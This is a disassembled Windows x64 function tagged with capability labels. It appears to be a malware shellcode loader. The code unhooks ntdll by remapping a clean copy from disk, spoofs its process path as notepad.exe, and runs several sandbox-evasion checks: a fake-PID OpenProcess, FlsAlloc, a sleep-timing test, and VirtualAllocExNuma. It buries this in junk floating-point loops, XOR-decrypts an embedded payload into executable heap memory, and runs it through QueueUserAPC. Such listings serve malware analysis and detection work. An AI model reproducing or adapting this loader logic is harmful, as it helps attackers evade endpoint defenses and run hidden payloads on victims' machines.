Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8a8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x810], xmm6
mov dword [rbp + 0x850], ecx
mov qword [rbp + 0x858], rdx
call fcn.140002900
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x798], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x790], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x788], rax
mov dword [rbp + 0x80c], 0xffffffff
add dword [rbp + 0x80c], 1
call sub.msvcrt.dll_rand
mov edx, eax
shl edx, 3
sub edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003a30
movq rax, xmm0
mov qword [rbp + 0x780], rax
cmp dword [rbp + 0x80c], 0x217
jle 0x1400014d4
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x800], rax
cmp qword [rbp + 0x800], 0
jne 0x14000158c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x800], rax
cmp qword [rbp + 0x800], 0
je 0x140001ab8
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5d0]
mov rax, qword [rbp + 0x788]
mov r10, qword [rbp + 0x800]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x778], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x760], rax
mov dword [rbp + 0x7fc], 0xffffffff
mov ecx, 0x1d78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
add dword [rbp + 0x7fc], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x758]
add rax, rdx
movsd xmm1, qword [0x140006670]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x758]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7fc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x758]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7fc], 0x3ad
jle 0x1400016a7
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x778]
add rax, rdx
mov qword [rbp + 0x748], rax
mov word [rbp + 0x7fa], 0
jmp 0x140001aa0
mov dword [rbp + 0x7f4], 0xffffffff
mov ecx, 0xfe0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
add dword [rbp + 0x7f4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x740]
add rax, rdx
movsd xmm1, qword [0x140006670]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x740]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7f4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x740]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7f4], 0x1fa
jle 0x1400017a5
mov rax, qword [rbp + 0x748]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x748]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7fa]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a8f
mov qword [rbp + 0x7e8], 0
mov dword [rbp + 0x734], 0x175
mov dword [rbp + 0x7f0], 1
jmp 0x1400018df
mov eax, dword [rbp + 0x7f0]
cdqe
add qword [rbp + 0x7e8], rax
add dword [rbp + 0x7f0], 1
mov eax, dword [rbp + 0x7f0]
cmp eax, dword [rbp + 0x734]
jle 0x1400018c9
mov dword [rbp + 0x598], 0
mov rax, qword [rbp + 0x738]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x738]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x778]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x598]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x738]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x738]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x760]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x738]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x778]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov ecx, 0xcf0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
mov dword [rbp + 0x7e4], 0
jmp 0x1400019d4
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x728]
add rax, rdx
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x19d
jle 0x140001996
mov dword [rbp + 0x7e4], 0
jmp 0x140001a3e
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x728]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7e4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x728]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x19d
jle 0x1400019ec
mov edx, dword [rbp + 0x598]
mov rax, qword [rbp + 0x738]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x738]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x778]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x598]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7fa]
add eax, 1
mov word [rbp + 0x7fa], ax
mov rax, qword [rbp + 0x748]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7fa], ax
jb 0x14000178a
mov dword [rbp + 0x59c], 0
mov ecx, 0xca0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x720], rax
mov ecx, 0xca0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x7dc], 0x327
mov dword [rbp + 0x7e0], 0
jmp 0x140001b47
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7e0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x720]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x327
jle 0x140001afa
mov dword [rbp + 0x7e0], 0
jmp 0x140001ba6
mov eax, dword [rbp + 0x7dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x720]
add rax, rdx
mov edx, dword [rbp + 0x7e0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x718]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7dc], 1
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x327
jle 0x140001b5f
mov rax, qword [rbp + 0x720]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x718]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5a0]
lea rax, [rbp + 0x59c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x710]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5a8]
add rax, 0x3c
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x708]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
jne 0x14000282a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov ecx, 0
call rax
mov dword [rbp + 0x6ec], eax
cmp dword [rbp + 0x6ec], 0xffffffff
je 0x14000282a
mov dword [rbp + 0x6e8], 0x31d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6dc], eax
mov eax, dword [rbp + 0x6e8]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6d8], eax
mov eax, dword [rbp + 0x6d8]
sub eax, dword [rbp + 0x6dc]
cmp eax, 0x2eb
jbe 0x14000282a
mov qword [rbp + 0x6d0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2344e80
mov ecx, 0
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
je 0x14000282a
mov rax, qword [rbp + 0x6d0]
mov edx, 0x2344e80
mov rcx, rax
call fcn.140004ad0
mov rax, qword [rbp + 0x6d0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x7d0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x140001ebf
mov rax, qword [rbp + 0x6c0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6b8]
mov r9d, 0x3000
mov r8d, 0x2cc
mov edx, 0
call rax
mov qword [rbp + 0x7d0], rax
cmp qword [rbp + 0x7d0], 0
je 0x14000282a
mov qword [rbp + 0x6b0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6a8]
mov r9d, 0x3000
mov r8d, 0x38f
mov edx, 0
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
je 0x14000282a
mov qword [rbp + 0x7c8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6a0], rax
cmp qword [rbp + 0x6a0], 0
je 0x140001fe0
mov rax, qword [rbp + 0x6a0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x698]
mov r9d, 0x3000
mov r8d, 0x36a
mov edx, 0
call rax
mov qword [rbp + 0x7c8], rax
cmp qword [rbp + 0x7c8], 0
je 0x14000282a
mov qword [rbp + 0x690], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x688]
mov r9d, 0x3000
mov r8d, 0x397
mov edx, 0
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
je 0x14000282a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x680], rax
cmp qword [rbp + 0x680], 0
je 0x1400020cd
mov rax, qword [rbp + 0x680]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov ecx, 0
call rax
mov dword [rbp + 0x7c4], eax
cmp dword [rbp + 0x7c4], 0xffffffff
je 0x14000282a
mov dword [rbp + 0x674], 0x33c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
call rax
mov dword [rbp + 0x664], eax
mov eax, dword [rbp + 0x674]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x668]
call rax
mov dword [rbp + 0x660], eax
mov eax, dword [rbp + 0x660]
sub eax, dword [rbp + 0x664]
cmp eax, 0x30a
jbe 0x14000282a
lea rax, [rbp + 0x60]
lea rdx, [0x140006138]
mov ecx, 0xa6
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x790]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x790]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x658]
mov r8d, 0
mov edx, 0x52f
mov ecx, 0x40000
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov r9, qword [rbp + 0x650]
mov r8d, 0x52f
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x798]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x640]
mov r9, qword [rbp + 0x638]
mov r8d, 0x52f
mov rcx, rax
call r9
mov dword [rbp + 0x7c0], 0
mov dword [rbp + 0x7bc], 0
mov dword [rbp + 0x7b8], 0
mov ecx, 0xc6c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov dword [rbp + 0x7b4], 0
jmp 0x1400022c7
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7b4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x630]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7b4], 1
cmp dword [rbp + 0x7b4], 0x31a
jle 0x14000227a
mov dword [rbp + 0x7b4], 0
jmp 0x1400023b7
cmp dword [rbp + 0x7b4], 0
je 0x140002327
mov eax, dword [rbp + 0x7b4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x630]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x7b4]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x630]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140002333
add dword [rbp + 0x7b4], 1
jmp 0x1400023b7
mov eax, dword [rbp + 0x7b4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x630]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x5ec], eax
mov eax, dword [rbp + 0x7b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x630]
add rax, rdx
mov edx, dword [rbp + 0x7b4]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x630]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x7b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x630]
add rdx, rax
mov eax, dword [rbp + 0x5ec]
mov dword [rdx], eax
sub dword [rbp + 0x7b4], 1
cmp dword [rbp + 0x7b4], 0x31a
jle 0x1400022e2
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x6b78edca1e01cfc5
movabs rdx, 0x68ad9cb0e6676f19
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xa0f11653780ab83f
movabs rdx, 0x33eff900d39d6a30
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x521b591bfe9914be
movabs rdx, 0xa435b52afe472c0e
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x855e921a4917a4
mov qword [rbp + 0x4f], rax
movabs rax, 0x294fc82e1443114
movabs rdx, 0xb314aeb685440169
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x27eadac5afbd29db
movabs rdx, 0xc02270e7067ed95f
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x6cd5d3c02270e706
movabs rdx, 0x241d229667bd3a
mov qword [rbp + 0xb], rax
mov qword [rbp + 0x13], rdx
jmp 0x140002530
mov dword [rbp + 0x7b0], 0xffffffff
add dword [rbp + 0x7b0], 1
call sub.msvcrt.dll_rand
shl eax, 3
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003a30
movq rax, xmm0
mov qword [rbp + 0x5f0], rax
cmp dword [rbp + 0x7b0], 0x231
jle 0x14000249b
mov eax, dword [rbp + 0x7c0]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x7bc]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x7c0]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x7bc], 0x35
jne 0x140002522
mov dword [rbp + 0x7bc], 0
jmp 0x140002529
add dword [rbp + 0x7bc], 1
add dword [rbp + 0x7c0], 1
mov eax, dword [rbp + 0x7c0]
cmp eax, 0x29
jbe 0x140002491
mov dword [rbp + 0x7c0], 0
jmp 0x140002608
mov eax, dword [rbp + 0x7c0]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7b8]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7c0]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x7b8], 0x29
jne 0x1400025a1
mov dword [rbp + 0x7b8], 0
jmp 0x140002601
mov dword [rbp + 0x7ac], 0
jmp 0x1400025ee
call sub.msvcrt.dll_rand
imul eax, eax, 0x11f
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c40
movq rax, xmm0
mov qword [rbp + 0x5f8], rax
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x174
jle 0x1400025ad
add dword [rbp + 0x7b8], 1
add dword [rbp + 0x7c0], 1
cmp dword [rbp + 0x7c0], 0x52e
jle 0x14000254e
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x7a8], 0
mov dword [rbp + 0x7a4], 0
mov ecx, 0xefc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x7a0], 0
jmp 0x1400026c5
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7a0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x620]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7a8], eax
add dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a0], 0x3be
jle 0x140002657
mov dword [rbp + 0x7a0], 0
jmp 0x14000274d
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x7a4]
mov eax, dword [rbp + 0x7a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x604]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006678]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e10
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x7a4], eax
add dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a0], 0x3be
jle 0x1400026dd
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x7a4]
movss xmm1, dword [0x140006680]
divss xmm0, xmm1
movss dword [rbp + 0x61c], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x61c]
movq rax, xmm3
movq xmm0, rax
call fcn.1400038f0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x618], xmm0
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x790]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x790]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x628]
mov r9, qword [rbp + 0x610]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x608]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x810]
add rsp, 0x8a8
pop rbx
pop rsi
pop rdi
pop rbp
ret